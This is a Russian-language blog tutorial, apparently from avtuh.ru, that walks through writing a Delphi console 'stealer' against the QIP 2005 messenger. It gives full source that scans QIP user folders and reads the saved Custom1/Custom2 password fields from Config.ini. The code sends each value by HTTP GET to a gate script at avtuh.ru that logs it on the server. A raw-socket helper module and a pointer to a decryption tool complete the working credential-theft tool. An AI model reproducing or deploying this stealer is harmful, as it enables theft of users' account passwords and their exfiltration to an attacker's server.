Пишем stealer для кражи паролей QIP

Сейчас я покажу, как своими силами написать стилер (от англ. stealer — Вор) на Delphi, который будет воровать сохраненные пароли QIP и отсылать их на гейт для записи в файл на сервере. Работает всё это с помощью сокетов Delphi (абсолютно работоспособно на Delphi 2010)

Сразу хочу сказать, что пример обладает минимальным функционалом (дабы не загружать рассказ лишним кодом) и крадет пароли только от QIP 2005, который установлен по адресу C:\Program Files\QIP\. Ну и конечно хотелось сохранить минимальный размер полученной программы. Хотя если это не критично, то в программу можно добавить модуль Registry для определения точного расположения папки установки QIP, а также модуль для дешифровки пароля прямо в программе (ибо программа отсылает не расшифрованные пароли, а значения полей Custom1 и Custom2, которые легко расшифровать самому)

Итак, приступим. Конечно же программе для работы не требуется форма, так что создаем консольное приложение (Console Application).
В Uses прописываем библиотеки, которые нам понадобятся:

uses
 winsock, windows, SysUtils,
 SocketRequest in 'SocketRequest.pas';

Библиотека SocketRequest самописная, понадобится для отсылки найденных паролей на гейт. О ней в конце.

Заполняем раздел var:

var
 sr:TSearchRec;
 s,s2:string;
 i:integer;
 f:text;

Сам код программы:

if FindFirst('c:\Program Files\QIP\Users\'+'*.*',faDirectory,sr)=0 then
 repeat
  s:=SR.Name;
  if trystrtoint(s, i) then
   begin
    if FileExists('c:\Program Files\QIP\Users\'+s+'\Config.ini') then
     begin
      assign(f,'c:\Program Files\QIP\Users\'+s+'\Config.ini');
      reset(f);
      while not(eof(f)) do
       begin
        readln(f,s2);
        if (Pos('Custom1',s2)<>0) and (Length(s2)=72) then
         socketget('http://avtuh.ru/file.php?recieve='+s+':'+s2)
        else
        if (Pos('Custom2',s2)<>0) and (Length(s2)=96) then
         socketget('http://avtuh.ru/file.php?recieve='+s+':'+s2);
       end;
      close(f);
     end;
   end;
 until Findnext(sr)<>0;
FindClose(sr);

Немного разберем.

FindFirst(‘c:\Program Files\QIP\Users\’+’*.*’,faDirectory,sr)=0
Ищем в папке Users все подпапки и файлы. Нам нужны папки, которые называются цифрами.

if trystrtoint(s, i) then
Если имя папки можно преобразовать в число (именно такие нам и нужны), то смотрим, существует ли в этой папке файл Config.ini
if FileExists(‘c:\Program Files\QIP\Users\’+s+’\Config.ini’) then

Если файл Config.ini имеется, то открываем его и считываем строки. Если найдена строка Custom1или Custom2 (не пустые!), то вызываем функцию socketget из модуля SocketRequest:

socketget('http://avtuh.ru/file.php?recieve='+s+':'+s2)

В качестве параметра передаем ей адрес гейта и параметры (значения Custom).
Гейт представляет собой файл file.php:


Этот скрипт записывает в файл file.log (который должен находится в той же папке на сервере) текст, который приходит в параметре recieve.

Код основной программы закончен. Только в конце я добавил еще вывод на экран слово «OK» и чтение из консоли, чтобы увидеть, что программа успешно отработала (в непосредственно готовом стилере это конечно не нужно):

writeln('OK');
readln;

Stealer QIP

Теперь о модуле SocketRequest. Расскажу поверхностно)
Использует библиотеки winsockWindows, которые уже используются в нашем стилере, так что на размер программы не повлияют.
Также в него из библиотеки SysUtils взял функцию IntToStr и процедуру CvtInt для нее, дабы мой модуль от нее не зависел.

Этапы работы функции socketget из модуля заключаются в следующем:
— получает в переменную url адрес запроса
— в переменную Host копируем адрес сервера (в нашем случае это avtuh.ru)
— в переменную Address копируем адрес гейта и параметры (в нашем случае это /file.php?recieve=’+s+’:’+s2)
— получаем IP сервера по его адресу

getaddrinfo(PansiChar(Host), nil, @aiHints, aiRes)=0

— делаем запрос, используя IP сервера

Вот полный код:

unit SocketRequest;

interface

uses
  winsock, Windows;

 function socketget(url:ansistring) :ansistring;

implementation

type
 paddrinfo = ^addrinfo;
  addrinfo = packed record
    ai_flags, ai_family, ai_sockettype, ai_protocol: integer;
    ai_addrlen: integer;
    ai_canonname: pansichar;
    ai_addr: psockaddr;
    ai_next: paddrinfo;
  end;

function getaddrinfo(nodename, servname: PansiChar; hints: paddrinfo; var res: paddrinfo): integer;
  stdcall; external 'ws2_32.dll';

  var
  aiHints: addrinfo;
  aiRes: paddrinfo;

procedure CvtInt;
asm
        OR      CL,CL
        JNZ     @CvtLoop
@C1:    OR      EAX,EAX
        JNS     @C2
        NEG     EAX
        CALL    @C2
        MOV     AL,'-'
        INC     ECX
        DEC     ESI
        MOV     [ESI],AL
        RET
@C2:    MOV     ECX,10

@CvtLoop:
        PUSH    EDX
        PUSH    ESI
@D1:    XOR     EDX,EDX
        DIV     ECX
        DEC     ESI
        ADD     DL,'0'
        CMP     DL,'0'+10
        JB      @D2
        ADD     DL,('A'-'0')-10
@D2:    MOV     [ESI],DL
        OR      EAX,EAX
        JNE     @D1
        POP     ECX
        POP     EDX
        SUB     ECX,ESI
        SUB     EDX,ECX
        JBE     @D5
        ADD     ECX,EDX
        MOV     AL,'0'
        SUB     ESI,EDX
        JMP     @z
@zloop: MOV     [ESI+EDX],AL
@z:     DEC     EDX
        JNZ     @zloop
        MOV     [ESI],AL
@D5:
end;

function IntToStr(Value: Integer): string;
asm
        PUSH    ESI
        MOV     ESI, ESP
        SUB     ESP, 16
        XOR     ECX, ECX       // base: 0 for signed decimal
        PUSH    EDX            // result ptr
        XOR     EDX, EDX       // zero filled field width: 0 for no leading zeros
        CALL    CvtInt
        MOV     EDX, ESI
        POP     EAX            // result ptr
{$IF DEFINED(Unicode)}
        CALL    System.@UStrFromPCharLen
{$ELSE}
        PUSH    DefaultSystemCodePage
        CALL    System.@LStrFromPCharLen
{$IFEND}
        ADD     ESP, 16
        POP     ESI
end;


function socketget(url:ansistring) :ansistring;
var
 WSAData1:TWSAData;
 Socket1:TSocket;
 SockAddr1:TSockAddr;
 Host, Address, IP:ansistring;
 Buffer1, s:ansistring;
 Buffer2:array[1..1024] of ansichar;
 d,i:integer;
begin
 if WSAStartup(MAKEWORD(2,2), WSAData1)<>0 then
 begin
  Result:='Error';
  Exit;
 end;
 Socket1:=Socket(AF_INET,SOCK_STREAM,0);
  if Socket1=INVALID_SOCKET then
  begin
   Result:='Error';
   Exit;
  end;
 FillChar(aiHints, sizeOf(aiHints), 0);
 aiHints.ai_family:=AF_INET;
 aiHints.ai_sockettype:=SOCK_STREAM;
 aiHints.ai_protocol:=IPPROTO_TCP;
 Host:=Copy(Url, 8, Length(Url));
 Address:='';
 if Pos('/', Host)<>0 then
  begin
   Address:=Copy(Host, Pos('/', Host), Length(Host));
   Host:=Copy(Host, 1, Pos('/', Host)-1);
  end;
 if getaddrinfo(PansiChar(Host), nil, @aiHints, aiRes)=0 then
 IP:=(inttostr(ord(aiRes.ai_addr.sin_addr.S_un_b.s_b1))+'.'+
      inttostr(ord(aiRes.ai_addr.sin_addr.S_un_b.s_b2))+'.'+
      inttostr(ord(aiRes.ai_addr.sin_addr.S_un_b.s_b3))+'.'+
      inttostr(ord(aiRes.ai_addr.sin_addr.S_un_b.s_b4)))
  else
   begin
    Result:='Error';
    Exit;
   end;

 SockAddr1.sin_family:=AF_INET;
 SockAddr1.sin_addr.S_addr:=inet_addr(PansiChar(IP));
 SockAddr1.sin_port:=htons(80);
 if Connect(Socket1,SockAddr1,SizeOf(SockAddr1))<>0 then begin
  Result:='Error';
  exit;
 end;
 Buffer1:='GET '+Address+' HTTP/1.1'#13#10+
           'Host: '+Host+#13#10+
           'Connection: close'#13#10+
           #13#10;
 if send(Socket1,Buffer1[1],Length(Buffer1),0)=SOCKET_ERROR then begin
  Result:='Error';
  exit;
 end;
 s:='';
 repeat
  FillChar(Buffer2,SizeOf(Buffer2),0);
  d:=recv(Socket1,Buffer2,SizeOf(Buffer2),0);
  for i:=1 to d do s:=s+(Buffer2[i]);
 until d<=0;

 Result:=s;
 if CloseSocket(Socket1)<>0 then
  Result:='Error';
end;

end.

Результатом функции будет ответ сервера (обычно заголовки и то, что выдает гейт). В основной программе результат функции никак не отслеживается, ибо нам не интересно знать результат запроса. Хотя при какой-нибудь ошибке его по желанию можно повторить пару раз))

В итоге получили файл весом 90 Кб.

Stealer QIP

И отчет на сервере:

Stealer QIP

Все значения Custom можно расшифровать с помощью DeCrypt ICQ (в Custom2 хранится пароль, вCustom1 хранится его md5-хэш).

© Zdez Bil Ya Avtuh.ru

Добавить комментарий